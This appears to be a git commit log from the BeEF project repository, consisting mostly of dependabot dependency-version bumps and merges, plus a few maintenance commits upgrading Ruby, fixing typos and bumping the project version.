Signed-off-by: dependabot[bot] <support@github.com>
2025-12-01 15:17:25 +00:00
github-actions[bot]
a10b4489fe Merge pull request #3453 from beefproject/dependabot/bundler/rdoc-6.16.1
Bump rdoc from 6.16.0 to 6.16.1
2025-11-28 13:04:39 +00:00
dependabot[bot]
de344887b6 Bump rdoc from 6.16.0 to 6.16.1
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.16.0 to 6.16.1.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.16.0...v6.16.1)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-version: 6.16.1
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-11-28 13:02:11 +00:00
github-actions[bot]
165cd27495 Merge pull request #3450 from beefproject/dependabot/bundler/rdoc-6.16.0
Bump rdoc from 6.15.1 to 6.16.0
2025-11-26 13:05:05 +00:00
dependabot[bot]
7a4721a0ef Bump rdoc from 6.15.1 to 6.16.0
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.15.1 to 6.16.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.15.1...v6.16.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-version: 6.16.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-11-26 13:02:28 +00:00
github-actions[bot]
a9407f3945 Merge pull request #3448 from beefproject/dependabot/bundler/maxmind-db-1.4.0
Bump maxmind-db from 1.3.2 to 1.4.0
2025-11-21 13:05:11 +00:00
dependabot[bot]
7bd91fcb73 Bump maxmind-db from 1.3.2 to 1.4.0
Bumps [maxmind-db](https://github.com/maxmind/MaxMind-DB-Reader-ruby) from 1.3.2 to 1.4.0.
- [Release notes](https://github.com/maxmind/MaxMind-DB-Reader-ruby/releases)
- [Changelog](https://github.com/maxmind/MaxMind-DB-Reader-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/maxmind/MaxMind-DB-Reader-ruby/compare/v1.3.2...v1.4.0)

---
updated-dependencies:
- dependency-name: maxmind-db
  dependency-version: 1.4.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-11-21 13:02:19 +00:00
Joshua Young
da9bc652a9 Merge pull request #3445 from joshuay03/upgrade-ruby
Upgrade Ruby to 3.4.7
2025-11-15 13:21:25 +10:00
Joshua Young
4a971df086 Upgrade bundler to latest (2.5.18 -> 2.7.2) 2025-11-13 21:05:20 +05:30
Joshua Young
ebbcfc39e4 Upgrade Ruby to latest (3.2.2 -> 3.4.7) 2025-11-13 21:05:15 +05:30
Joshua Young
4d17e16fdb Fix test gem group indentation 2025-11-13 20:31:44 +05:30
github-actions[bot]
820738f7e0 Merge pull request #3442 from beefproject/dependabot/bundler/activerecord-8.1.1
Bump activerecord from 8.0.4 to 8.1.1
2025-11-12 13:05:08 +00:00
dependabot[bot]
5749cc1e0c Bump activerecord from 8.0.4 to 8.1.1
Bumps [activerecord](https://github.com/rails/rails) from 8.0.4 to 8.1.1.
- [Release notes](https://github.com/rails/rails/releases)
- [Changelog](https://github.com/rails/rails/blob/v8.1.1/activerecord/CHANGELOG.md)
- [Commits](https://github.com/rails/rails/compare/v8.0.4...v8.1.1)

---
updated-dependencies:
- dependency-name: activerecord
  dependency-version: 8.1.1
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-11-12 13:02:37 +00:00
github-actions[bot]
49bb30aeaa Merge pull request #3441 from beefproject/dependabot/bundler/otr-activerecord-2.6.0
Bump otr-activerecord from 2.5.0 to 2.6.0
2025-11-11 13:05:36 +00:00
dependabot[bot]
5639122928 Bump otr-activerecord from 2.5.0 to 2.6.0
Bumps [otr-activerecord](https://github.com/jhollinger/otr-activerecord) from 2.5.0 to 2.6.0.
- [Changelog](https://github.com/jhollinger/otr-activerecord/blob/main/CHANGELOG.md)
- [Commits](https://github.com/jhollinger/otr-activerecord/compare/v2.5.0...v2.6.0)

---
updated-dependencies:
- dependency-name: otr-activerecord
  dependency-version: 2.6.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-11-11 13:02:53 +00:00
mengxun
64e3f0b424 Fix redundant and incorrect version comparison logic 2025-11-11 16:10:57 +08:00
zinduolis
ac2d6fd9ac Merge pull request #3439 from beefproject/red/dev
Documentation (typo/grammar fixes) — minor text updates across Modules, Extensions, and Core
2025-11-11 07:20:00 +10:00
zinduolis
cc862ae82f Fix typos 2025-11-10 20:39:51 +10:00
zinduolis
582c4d67e3 Merge branch 'master' into red/dev 2025-11-10 20:07:18 +10:00
github-actions[bot]
bbbcd5895f Merge pull request #3437 from beefproject/dependabot/bundler/json-2.16.0
Bump json from 2.15.2 to 2.16.0
2025-11-07 13:05:19 +00:00
dependabot[bot]
1681054dfc Bump json from 2.15.2 to 2.16.0
Bumps [json](https://github.com/ruby/json) from 2.15.2 to 2.16.0.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.15.2...v2.16.0)

---
updated-dependencies:
- dependency-name: json
  dependency-version: 2.16.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-11-07 13:02:33 +00:00
github-actions[bot]
37a93b7f36 Merge pull request #3435 from beefproject/dependabot/bundler/sqlite3-2.8.0
Bump sqlite3 from 2.7.4 to 2.8.0
2025-11-06 13:06:32 +00:00
dependabot[bot]
d9e12f82d9 Bump sqlite3 from 2.7.4 to 2.8.0
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 2.7.4 to 2.8.0.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v2.7.4...v2.8.0)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-version: 2.8.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-11-06 13:02:33 +00:00
github-actions[bot]
0715e33a4e Merge pull request #3432 from beefproject/dependabot/bundler/rubyzip-3.2.2
Bump rubyzip from 3.2.1 to 3.2.2
2025-11-03 13:51:15 +00:00
dependabot[bot]
1fee3a21d6 Bump rubyzip from 3.2.1 to 3.2.2
Bumps [rubyzip](https://github.com/rubyzip/rubyzip) from 3.2.1 to 3.2.2.
- [Release notes](https://github.com/rubyzip/rubyzip/releases)
- [Changelog](https://github.com/rubyzip/rubyzip/blob/main/Changelog.md)
- [Commits](https://github.com/rubyzip/rubyzip/compare/v3.2.1...v3.2.2)

---
updated-dependencies:
- dependency-name: rubyzip
  dependency-version: 3.2.2
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-11-03 13:48:15 +00:00
github-actions[bot]
3834d4aaa3 Merge pull request #3431 from beefproject/dependabot/bundler/rack-3.2.4
Bump rack from 3.2.3 to 3.2.4
2025-11-03 13:37:16 +00:00
dependabot[bot]
8e64b433bf Bump rack from 3.2.3 to 3.2.4
Bumps [rack](https://github.com/rack/rack) from 3.2.3 to 3.2.4.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v3.2.3...v3.2.4)

---
updated-dependencies:
- dependency-name: rack
  dependency-version: 3.2.4
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-11-03 13:34:27 +00:00
github-actions[bot]
30cb1b2d89 Merge pull request #3433 from beefproject/dependabot/bundler/rdoc-6.15.1
Bump rdoc from 6.15.0 to 6.15.1
2025-11-03 13:16:48 +00:00
dependabot[bot]
03689e4b98 Bump rdoc from 6.15.0 to 6.15.1
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.15.0 to 6.15.1.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.15.0...v6.15.1)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-version: 6.15.1
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-11-03 13:14:11 +00:00
github-actions[bot]
e7dd57c97f Merge pull request #3430 from beefproject/dependabot/bundler/irb-1.15.3
Bump irb from 1.15.2 to 1.15.3
2025-11-03 13:07:59 +00:00
dependabot[bot]
f2792292b1 Bump irb from 1.15.2 to 1.15.3
Bumps [irb](https://github.com/ruby/irb) from 1.15.2 to 1.15.3.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.15.2...v1.15.3)

---
updated-dependencies:
- dependency-name: irb
  dependency-version: 1.15.3
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-11-03 13:05:22 +00:00
github-actions[bot]
7b30400e4a Merge pull request #3429 from beefproject/dependabot/bundler/rubocop-1.81.7
Bump rubocop from 1.81.6 to 1.81.7
2025-10-31 13:06:17 +00:00
dependabot[bot]
041027ac18 Bump rubocop from 1.81.6 to 1.81.7
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.81.6 to 1.81.7.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.81.6...v1.81.7)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.81.7
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-31 13:02:41 +00:00
github-actions[bot]
c30d1f7c3b Merge pull request #3428 from beefproject/dependabot/bundler/activerecord-8.0.4
Bump activerecord from 8.0.3 to 8.0.4
2025-10-29 13:15:42 +00:00
dependabot[bot]
a578412619 Bump activerecord from 8.0.3 to 8.0.4
Bumps [activerecord](https://github.com/rails/rails) from 8.0.3 to 8.0.4.
- [Release notes](https://github.com/rails/rails/releases)
- [Changelog](https://github.com/rails/rails/blob/v8.1.1/activerecord/CHANGELOG.md)
- [Commits](https://github.com/rails/rails/compare/v8.0.3...v8.0.4)

---
updated-dependencies:
- dependency-name: activerecord
  dependency-version: 8.0.4
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-29 13:13:06 +00:00
github-actions[bot]
0573717aa8 Merge pull request #3425 from beefproject/dependabot/bundler/selenium-webdriver-4.38.0
Bump selenium-webdriver from 4.37.0 to 4.38.0
2025-10-29 13:12:04 +00:00
dependabot[bot]
71f0fbe75e Bump selenium-webdriver from 4.37.0 to 4.38.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.37.0 to 4.38.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.37.0...selenium-4.38.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-version: 4.38.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-29 13:09:38 +00:00
github-actions[bot]
8029f37d44 Merge pull request #3426 from beefproject/dependabot/bundler/rubyzip-3.2.1
Bump rubyzip from 3.2.0 to 3.2.1
2025-10-29 13:08:30 +00:00
dependabot[bot]
3d13e55d97 Bump rubyzip from 3.2.0 to 3.2.1
Bumps [rubyzip](https://github.com/rubyzip/rubyzip) from 3.2.0 to 3.2.1.
- [Release notes](https://github.com/rubyzip/rubyzip/releases)
- [Changelog](https://github.com/rubyzip/rubyzip/blob/main/Changelog.md)
- [Commits](https://github.com/rubyzip/rubyzip/compare/v3.2.0...v3.2.1)

---
updated-dependencies:
- dependency-name: rubyzip
  dependency-version: 3.2.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-29 13:05:58 +00:00
github-actions[bot]
8d7eedfaaa Merge pull request #3427 from beefproject/dependabot/bundler/rake-13.3.1
Bump rake from 13.3.0 to 13.3.1
2025-10-29 13:04:58 +00:00
dependabot[bot]
29997f7639 Bump rake from 13.3.0 to 13.3.1
Bumps [rake](https://github.com/ruby/rake) from 13.3.0 to 13.3.1.
- [Release notes](https://github.com/ruby/rake/releases)
- [Changelog](https://github.com/ruby/rake/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rake/compare/v13.3.0...v13.3.1)

---
updated-dependencies:
- dependency-name: rake
  dependency-version: 13.3.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-29 13:02:37 +00:00
github-actions[bot]
880ae79e8b Merge pull request #3424 from beefproject/dependabot/bundler/json-2.15.2
Bump json from 2.15.1 to 2.15.2
2025-10-27 14:10:47 +00:00
dependabot[bot]
054efa1571 Bump json from 2.15.1 to 2.15.2
Bumps [json](https://github.com/ruby/json) from 2.15.1 to 2.15.2.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.15.1...v2.15.2)

---
updated-dependencies:
- dependency-name: json
  dependency-version: 2.15.2
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-27 14:07:11 +00:00
zinduolis
6f7a319c2b Merge pull request #3422 from beefproject/red/dev
Bump version to 0.6.0.0
2025-10-24 14:37:47 +10:00
zinduolis
e89ea1922a Fix VERSION file to include copyright disclaimer 2025-10-24 10:40:57 +10:00
zinduolis
0c7c367360 Bump version to 0.6.0.0 2025-10-24 10:10:46 +10:00
github-actions[bot]
e08e4b0948 Merge pull request #3421 from beefproject/dependabot/bundler/rspec-3.13.2
Bump rspec from 3.13.1 to 3.13.2
2025-10-21 13:12:19 +00:00
dependabot[bot]
3b01e3d2b5 Bump rspec from 3.13.1 to 3.13.2
Bumps [rspec](https://github.com/rspec/rspec) from 3.13.1 to 3.13.2.
- [Commits](https://github.com/rspec/rspec/compare/rspec-v3.13.1...rspec-v3.13.2)

---
updated-dependencies:
- dependency-name: rspec
  dependency-version: 3.13.2
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-21 13:08:12 +00:00
github-actions[bot]
b3ef4a1ec7 Merge pull request #3420 from beefproject/dependabot/bundler/rubocop-1.81.6
Bump rubocop from 1.81.1 to 1.81.6
2025-10-21 13:07:02 +00:00
dependabot[bot]
417df036bc Bump rubocop from 1.81.1 to 1.81.6
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.81.1 to 1.81.6.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.81.1...v1.81.6)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.81.6
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-21 13:02:49 +00:00
github-actions[bot]
40b985a8fa Merge pull request #3419 from beefproject/dependabot/bundler/selenium-webdriver-4.37.0
Bump selenium-webdriver from 4.35.0 to 4.37.0
2025-10-20 14:18:03 +00:00
dependabot[bot]
2698dc9ec9 Bump selenium-webdriver from 4.35.0 to 4.37.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.35.0 to 4.37.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.35.0...selenium-4.37.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-version: 4.37.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-20 14:14:24 +00:00
zinduolis
41e52d3738 Merge pull request #3405 from beefproject/dependabot/bundler/activerecord-8.0.3
Bump activerecord from 7.2.2.2 to 8.0.3
2025-10-20 16:02:00 +10:00
dependabot[bot]
cd116a3b46 Bump activerecord from 7.2.2.2 to 8.0.3
Bumps [activerecord](https://github.com/rails/rails) from 7.2.2.2 to 8.0.3.
- [Release notes](https://github.com/rails/rails/releases)
- [Changelog](https://github.com/rails/rails/blob/v8.0.3/activerecord/CHANGELOG.md)
- [Commits](https://github.com/rails/rails/compare/v7.2.2.2...v8.0.3)

---
updated-dependencies:
- dependency-name: activerecord
  dependency-version: 8.0.3
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-20 05:03:43 +00:00
github-actions[bot]
87a5498884 Merge pull request #3404 from beefproject/dependabot/bundler/sqlite3-2.7.4
Bump sqlite3 from 2.7.3 to 2.7.4
2025-10-16 06:14:21 +00:00
dependabot[bot]
51069255bb Bump sqlite3 from 2.7.3 to 2.7.4
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 2.7.3 to 2.7.4.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v2.7.3...v2.7.4)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-version: 2.7.4
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-16 06:10:17 +00:00
github-actions[bot]
8fab9a9b4d Merge pull request #3418 from beefproject/dependabot/bundler/rubyzip-3.2.0
Bump rubyzip from 3.1.1 to 3.2.0
2025-10-15 13:08:19 +00:00
dependabot[bot]
6710d71630 Bump rubyzip from 3.1.1 to 3.2.0
Bumps [rubyzip](https://github.com/rubyzip/rubyzip) from 3.1.1 to 3.2.0.
- [Release notes](https://github.com/rubyzip/rubyzip/releases)
- [Changelog](https://github.com/rubyzip/rubyzip/blob/main/Changelog.md)
- [Commits](https://github.com/rubyzip/rubyzip/compare/v3.1.1...v3.2.0)

---
updated-dependencies:
- dependency-name: rubyzip
  dependency-version: 3.2.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-15 13:03:51 +00:00
github-actions[bot]
32864da8a3 Merge pull request #3415 from beefproject/dependabot/bundler/rack-protection-4.2.0
Bump rack-protection from 4.1.1 to 4.2.0
2025-10-10 17:52:18 +00:00
dependabot[bot]
027d694819 Bump rack-protection from 4.1.1 to 4.2.0
Bumps [rack-protection](https://github.com/sinatra/sinatra) from 4.1.1 to 4.2.0.
- [Changelog](https://github.com/sinatra/sinatra/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v4.1.1...v4.2.0)

---
updated-dependencies:
- dependency-name: rack-protection
  dependency-version: 4.2.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-10 17:49:58 +00:00
github-actions[bot]
9d00616c1d Merge pull request #3416 from beefproject/dependabot/bundler/rack-3.2.3
Bump rack from 3.2.2 to 3.2.3
2025-10-10 17:48:50 +00:00
dependabot[bot]
2e4560229e Bump rack from 3.2.2 to 3.2.3
Bumps [rack](https://github.com/rack/rack) from 3.2.2 to 3.2.3.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v3.2.2...v3.2.3)

---
updated-dependencies:
- dependency-name: rack
  dependency-version: 3.2.3
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-10 17:46:24 +00:00
github-actions[bot]
dbb0bd6198 Merge pull request #3414 from beefproject/dependabot/npm_and_yarn/jsdoc-4.0.5
Bump jsdoc from 4.0.4 to 4.0.5
2025-10-08 13:05:07 +00:00
dependabot[bot]
edbe00cb82 Bump jsdoc from 4.0.4 to 4.0.5
Bumps [jsdoc](https://github.com/jsdoc/jsdoc) from 4.0.4 to 4.0.5.
- [Release notes](https://github.com/jsdoc/jsdoc/releases)
- [Changelog](https://github.com/jsdoc/jsdoc/blob/4.0.5/CHANGES.md)
- [Commits](https://github.com/jsdoc/jsdoc/compare/4.0.4...4.0.5)

---
updated-dependencies:
- dependency-name: jsdoc
  dependency-version: 4.0.5
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-08 13:02:23 +00:00
github-actions[bot]
641aa42085 Merge pull request #3410 from beefproject/dependabot/bundler/rdoc-6.15.0
Bump rdoc from 6.14.2 to 6.15.0
2025-10-07 13:17:42 +00:00
dependabot[bot]
fb9fffc0df Bump rdoc from 6.14.2 to 6.15.0
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.14.2 to 6.15.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.14.2...v6.15.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-version: 6.15.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-07 13:15:14 +00:00
github-actions[bot]
ffdad9b4e6 Merge pull request #3412 from beefproject/dependabot/bundler/rack-3.2.2
Bump rack from 3.2.1 to 3.2.2
2025-10-07 13:14:02 +00:00
dependabot[bot]
484442caa7 Bump rack from 3.2.1 to 3.2.2
Bumps [rack](https://github.com/rack/rack) from 3.2.1 to 3.2.2.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v3.2.1...v3.2.2)

---
updated-dependencies:
- dependency-name: rack
  dependency-version: 3.2.2
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-07 13:11:27 +00:00
github-actions[bot]
e49feb3571 Merge pull request #3408 from beefproject/dependabot/bundler/rubocop-1.81.1
Bump rubocop from 1.80.2 to 1.81.1
2025-10-07 13:10:05 +00:00
dependabot[bot]
2e2e87073f Bump rubocop from 1.80.2 to 1.81.1
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.80.2 to 1.81.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.80.2...v1.81.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.81.1
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-07 13:07:40 +00:00
github-actions[bot]
5cc7d6f711 Merge pull request #3413 from beefproject/dependabot/bundler/json-2.15.1
Bump json from 2.15.0 to 2.15.1
2025-10-07 13:06:32 +00:00
dependabot[bot]
9c0657d144 Bump json from 2.15.0 to 2.15.1
Bumps [json](https://github.com/ruby/json) from 2.15.0 to 2.15.1.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.15.0...v2.15.1)

---
updated-dependencies:
- dependency-name: json
  dependency-version: 2.15.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-07 13:03:28 +00:00
github-actions[bot]
e6ddb7bc3c Merge pull request #3409 from beefproject/dependabot/npm_and_yarn/jsdoc-to-markdown-9.1.3
Bump jsdoc-to-markdown from 9.1.2 to 9.1.3
2025-10-06 13:25:58 +00:00
dependabot[bot]
d8818f35d1 Bump jsdoc-to-markdown from 9.1.2 to 9.1.3
Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 9.1.2 to 9.1.3.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v9.1.2...v9.1.3)

---
updated-dependencies:
- dependency-name: jsdoc-to-markdown
  dependency-version: 9.1.3
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-06 13:21:39 +00:00
github-actions[bot]
dffe0601c2 Merge pull request #3407 from beefproject/dependabot/bundler/rubyzip-3.1.1
Bump rubyzip from 3.1.0 to 3.1.1
2025-09-29 17:01:53 +00:00
dependabot[bot]
68773c96d2 Bump rubyzip from 3.1.0 to 3.1.1
Bumps [rubyzip](https://github.com/rubyzip/rubyzip) from 3.1.0 to 3.1.1.
- [Release notes](https://github.com/rubyzip/rubyzip/releases)
- [Changelog](https://github.com/rubyzip/rubyzip/blob/main/Changelog.md)
- [Commits](https://github.com/rubyzip/rubyzip/compare/v3.1.0...v3.1.1)

---
updated-dependencies:
- dependency-name: rubyzip
  dependency-version: 3.1.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-09-29 16:57:48 +00:00
github-actions[bot]
97716f79d3 Merge pull request #3403 from beefproject/dependabot/bundler/json-2.15.0
Bump json from 2.14.1 to 2.15.0
2025-09-22 13:05:33 +00:00
dependabot[bot]
f567cebdc2 Bump json from 2.14.1 to 2.15.0
Bumps [json](https://github.com/ruby/json) from 2.14.1 to 2.15.0.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.14.1...v2.15.0)

---
updated-dependencies:
- dependency-name: json
  dependency-version: 2.15.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-09-22 13:03:06 +00:00
github-actions[bot]
4bb9a9c9c6 Merge pull request #3402 from beefproject/dependabot/bundler/curb-1.2.2
Bump curb from 1.2.1 to 1.2.2
2025-09-19 13:12:17 +00:00
dependabot[bot]
4d2058f61e Bump curb from 1.2.1 to 1.2.2
Bumps [curb](https://github.com/taf2/curb) from 1.2.1 to 1.2.2.
- [Changelog](https://github.com/taf2/curb/blob/master/ChangeLog.md)
- [Commits](https://github.com/taf2/curb/commits)

---
updated-dependencies:
- dependency-name: curb
  dependency-version: 1.2.2
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-09-19 13:06:21 +00:00
github-actions[bot]
b19584289c Merge pull request #3401 from beefproject/dependabot/bundler/json-2.14.1
Bump json from 2.13.2 to 2.14.1
2025-09-19 13:05:17 +00:00
dependabot[bot]
acd95ce92e Bump json from 2.13.2 to 2.14.1
Bumps [json](https://github.com/ruby/json) from 2.13.2 to 2.14.1.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.13.2...v2.14.1)

---
updated-dependencies:
- dependency-name: json
  dependency-version: 2.14.1
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-09-19 13:02:39 +00:00
github-actions[bot]
ecb5c8ba1a Merge pull request #3399 from beefproject/dependabot/bundler/curb-1.2.1
Bump curb from 1.2.0 to 1.2.1
2025-09-18 13:05:24 +00:00
dependabot[bot]
6ad995de6c Bump curb from 1.2.0 to 1.2.1
Bumps [curb](https://github.com/taf2/curb) from 1.2.0 to 1.2.1.
- [Changelog](https://github.com/taf2/curb/blob/master/ChangeLog.md)
- [Commits](https://github.com/taf2/curb/commits)

---
updated-dependencies:
- dependency-name: curb
  dependency-version: 1.2.1
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-09-18 13:02:55 +00:00
github-actions[bot]
25da2db215 Merge pull request #3394 from beefproject/dependabot/bundler/term-ansicolor-1.11.3
Bump term-ansicolor from 1.11.2 to 1.11.3
2025-09-11 13:07:01 +00:00
dependabot[bot]
80ae0cc2bf Bump term-ansicolor from 1.11.2 to 1.11.3
Bumps [term-ansicolor](https://github.com/flori/term-ansicolor) from 1.11.2 to 1.11.3.
- [Release notes](https://github.com/flori/term-ansicolor/releases)
- [Changelog](https://github.com/flori/term-ansicolor/blob/master/CHANGES.md)
- [Commits](https://github.com/flori/term-ansicolor/compare/v1.11.2...v1.11.3)

---
updated-dependencies:
- dependency-name: term-ansicolor
  dependency-version: 1.11.3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-09-11 13:03:33 +00:00
zinduolis
bd8ad1fe1e Merge pull request #3392 from beefproject/red/dev
Remediate sinatra vulnerability
2025-09-10 08:13:01 +10:00
zinduolis
cdb9ceda2a Update Gemfile and Gemfile.lock for Sinatra and Rack compatibility 2025-09-09 21:33:59 +10:00
zinduolis
5cf691120f Updated the code to be compatible with Rack3 2025-09-09 21:21:24 +10:00
